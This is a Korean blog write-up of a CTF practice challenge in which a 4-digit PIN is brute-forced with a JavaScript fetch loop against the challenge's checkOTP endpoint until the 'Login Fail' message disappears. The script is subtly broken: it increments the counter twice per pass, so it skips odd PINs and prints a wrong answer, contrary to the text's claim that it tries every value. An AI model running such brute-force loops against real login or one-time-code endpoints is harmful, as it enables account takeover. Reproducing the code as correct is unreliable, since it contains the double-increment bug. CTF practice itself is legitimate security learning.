문제
문제는 간단했다. 핀번호 4자리를 입력하는 문제다.

해결과정

먼저 1234를 때렸는데 get방식으로 쿼리에 넣어서 보내고 있음을 확인했고, 혹시 틀렸을 때 제한이 있는지 문구는 없긴 했지만 여러번 시도했는데 딱히 제약은 없었다. 그러면 뭐 0부터 때려보는게 곧 답인 것 같다.
let count = 0;
while (true) {
const response = await fetch(
`http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum=${count}`
);
const text = await response.text();
console.log("응답값: ", text);
if (!text.includes("Login Fail")) {
console.log("Login 발생!");
break; // 로그인 실패 이외의 메시지가 나오면 반복 중지
}
count++;
console.log('정답: ',count++)
}
간단하게 fetch 로 0부터 정직하게 시도했다. 사실 더 빠르게 하려면 0000부터 4자리를 맞춰야겠지만 어차피 O(N)에 10000개 이하라서 그닥 큰 차이는 없으니 그냥 0부터 시도했다. count를 늘리면서 Login Fail 이 포함되지 않는 응답값을 찾았다.


728x90
'개발 > 코딩테스트' 카테고리의 다른 글
[CTF] segfault practice - SQL Injection 1 (0) | 2024.05.23 |
---|---|
[CTF] segfault practice - Secret Login (0) | 2024.05.20 |
[프로그래머스 | JavaScript] 문자열 겹쳐쓰기 (0) | 2023.11.07 |
[프로그래머스 | javascript] 정사각형으로 만들기 (0) | 2023.10.11 |
[프로그래머스 | JavaScript] 그림 확대 (0) | 2023.09.18 |